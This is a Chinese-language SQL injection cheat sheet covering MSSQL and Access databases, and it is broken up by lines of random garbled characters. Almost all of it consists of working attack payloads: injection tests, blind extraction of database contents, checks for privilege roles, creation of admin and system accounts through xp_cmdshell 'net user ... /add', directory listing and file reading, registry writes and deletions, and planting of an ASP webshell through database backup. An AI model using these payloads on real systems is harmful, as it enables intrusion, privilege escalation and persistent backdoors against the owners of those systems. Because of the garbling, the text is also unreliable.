1.判断是否有注入;and 1=1 ;and 1=2 8`^I.tD
2.初步判断是否是mssql ;and user>0 ^ qE4:|e
yJKezIL\z
3.注入参数是字符'and [查询条件] and ''='
w[VWk
sA`
bPh k
4.搜索时没过滤参数的'and [查询条件] and '%25'=' N>gv!z[E
}}Q|O]e
5.判断数据库系统 R)<>} y
yyiZV\ /
;and (select count(*) from sysobjects)>0 mssql [F6=JZ
@B1rtw6
;and (select count(*) from msysobjects)>0 access 5))?,YkrrI
|5Z@7
ff{ESFtD
`T~M:\^D
6.猜数据库 ;and (select Count(*) from [数据库名])>0 6}<PBl%qe
['sIR+c%'O
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 t(ZiQ<A
}~A-ELe:
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 A70_hhP
(xxJ^u>QC
9.(1)猜字段的ascii值(access) xorFz{
l~uRZLx
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Z0-W%W
,a?em'=
(2)猜字段的ascii值(mssql) WQ6E8t)
bggSYhJ?\#
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 os#j;C]l
r]8B6iV
10.测试权限结构(mssql) 4RdpROK
B8;ZOLAU
d B?I(
gNxnoOY
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- z3a
te^PJF
,@ [Q:fY
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- E=7"};
P=S)V
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ~){*XJw6
O>'o; 0
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- RtF_p
{s
!8P#t{2_|
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- F.T~txQ~u
Z\@vN[[
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- xat)9Yb}0
3xj<ATSe
;and 1=(select IS_MEMBER('db_owner'));-- 9K)OQDv%6D
|e+I5
46$u}"E
aY"qEH7]
11.添加mssql和系统的帐户 y0rT=kU
9l(e:_`_
;exec master.dbo.sp_addlogin username;-- W]rXt,{&
;exec master.dbo.sp_password null,username,password;-- ef|Y2<P
-|V@zSKr3
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3 :f5xF
@++
X H}
;exec master.dbo.xp_cmdshell 'net user username password SX*os$
~A"ODLgU9
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- tCA |sN
{_Ke'"
k
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 5*4P_q(AxD
TmO\!`
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0w(<pNA
auS$B%
{uw'7 d/
b Z%[ON5OY
12.(1)遍历目录 NB16O!r
q9!5J2P
;create table dirs(paths varchar(100), id int) VEz&TPu
o5zth^p[
;insert dirs exec master.dbo.xp_dirtree 'c:\' {!E<hQ2<$9
aeP4%h
;and (select top 1 paths from dirs)>0 U,g!KN3P
@ZT25CD
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) +mAMCM2N
T@k&YJ
t6js@Ih
:*Ckq~[Hg
(2)遍历目录 M@csB. '
7tfFRUw
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- #<se0CJB
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 \'1%"JWK
pz-`Tp w
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 V ;>{-p
LscAsq<H<
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 f'r/Q2{n
{feS-.Khv
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 - FE)
x6F\|nb
!.p!
@Z.Ne:*J
13.mssql中的存储过程 iiRK3m
Fbk<qQH
xp_regenumvalues 注册表根键, 子键 y(N-1
BPi>SI0
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 R2M,VK?Wx
8f29Hj+
xp_regread 根键,子键,键值名 E1VCm[j2
?F`lI""E
;exec xp_regread H&%=>hyX
fpoH7Jd V
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 &I d^n
S%Ja:0=}?
xp_regwrite 根键,子键, 值名, 值类型, 值 ^hbh|Du
)?4m}
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 '}XW
c*\^61T
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 yv'mV=BMJ!
k&^Megcb
xp_regdeletevalue 根键,子键,值名 u5idH),<
EiT
raWV"O
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Jr1^qY`0+
'^P
Ud`
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 w*bVBuXs
0<i~XN0g
o AQ92~b
0.+iVOz+Y
14.mssql的backup创建webshell /=Xen
mmS
+mxs jcq0
use model 6W#+U<
/$q;-/DnTZ
create table cmd(str image); YQ?|Vb
U
gg8T],s1!a
insert into cmd(str) values (''); |y=CmNG,
]enqkiS
backup database model to disk='c:\l.asp'; t`DUY3>36
2$3BluK
Mzb_o2^(
O;,k~
15.mssql内置函数 sIELkF?.
ClfpA?vv
;and (select @@version)>0 获得Windows的版本号 ?xeq*<qfI
2TAy'BB;)
;and user_name()='dbo' 判断当前系统的连接用户是不是sa _q8s 7H
FtF!Dtv
;and (select user_name())>0 爆当前系统的连接用户 =z@'vu$Fh
";>D0h^D
;and (select db_name())>0 得到当前连接的数据库 Ye )(9
mexI}
h]'fX
v4Nb/Y
16.简洁的webshell U&B~GJT+
}]?RngTt
use model <F!:dyl
1BWuFYB
create table cmd(str image); +{#BQbx6
Q'\jm=k
insert into cmd(str) values (''); $G=\i>R.
WMI/Y9N
backup database model to disk='g:\wwwtest\l.asp';